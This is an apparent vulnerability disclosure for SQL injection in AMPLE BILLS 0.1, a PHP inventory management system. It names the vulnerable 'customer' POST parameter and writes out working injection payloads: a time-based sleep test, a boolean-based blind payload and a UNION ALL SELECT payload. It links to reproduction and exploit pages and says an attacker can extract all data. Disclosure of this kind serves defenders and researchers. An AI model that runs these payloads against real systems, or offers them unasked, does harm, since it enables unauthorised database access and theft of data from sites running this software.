AMPLE BILLS 0.1 SQL injection

`## Title: AMPLE BILLS 0.1 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 04/13/2024  
## Vendor: https://www.mayurik.com/  
## Software: https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The customer parameter (#1*) appears to be vulnerable to SQL injection  
attacks. The payload (select*from(select(sleep(20)))a) was submitted  
in the customer parameter. The application took 20017 milliseconds to  
respond to the request, compared with 4 milliseconds for the original  
request, indicating that the injected SQL command caused a time delay.  
The database appears to be MySQL. The attacker can get all information  
from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: #1* ((custom) POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
Payload: customer=(-2876) OR  
5249=5249#from(select(sleep(20)))a)&issuedate=03/15/2024 - 04/13/2024  
  
Type: UNION query  
Title: MySQL UNION query (random number) - 1 column  
Payload: customer=(-8147) UNION ALL SELECT  
CONCAT(0x7178627671,0x456d507450425279564f614b766957634d464a6c63536e6f63464953467254446171427a754e5769,0x7176626271),7839,7839,7839,7839#from(select(sleep(20)))a)&issuedate=03/15/2024  
- 04/13/2024  
---  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/AMPLE-BILLS-0.1)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/04/ample-bills-01-multiple-sqli.html)  
  
## Time spent:  
01:15:00  
  
  
`